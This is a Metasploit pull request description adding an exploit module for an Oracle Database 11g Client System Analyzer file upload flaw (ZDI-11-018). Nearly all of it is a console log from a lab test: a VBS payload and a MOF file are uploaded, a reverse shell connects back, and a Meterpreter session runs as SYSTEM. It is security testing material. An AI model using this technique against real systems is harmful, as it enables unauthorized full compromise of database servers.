rapid7/metasploit-framework — pull request #1046 by jvazquez-r7 (2012-11-08 16:35:31+00:00)
Title: Added module for ZDI-11-018

Tested with Oracle Database 11g 11.2.0.1.0 on Windows 2003 SP2:

msf > use exploit/windows/oracle/client_system_analyzer_upload
msf exploit(client_system_analyzer_upload) > set RHOST 192.168.1.178
RHOST => 192.168.1.178
msf exploit(client_system_analyzer_upload) > check

[*] Uploading the CSAEDYdR.txt file
[*] Checking uploaded contents...
[+] The target is vulnerable.
msf exploit(client_system_analyzer_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] Encoding payload into vbs...
[*] Generating mof file...
[*] Uploading the payload into the VBS to c:\WINDOWS\system32\sxJWvd.vbs...
[*] Uploading the mof file to c:\WINDOWS\system32\wbem\mof\HXrufFpZ.mof...
[*] Sending stage (752128 bytes) to 192.168.1.178
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.178:3143) at 2012-11-08 17:30:21 +0100
[!] Deleting the vbs payload "sxJWvd.vbs" ...
[!] Deleting the mof file "HXrufFpZ.mof" ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.178 - Meterpreter session 1 closed. Reason: User exit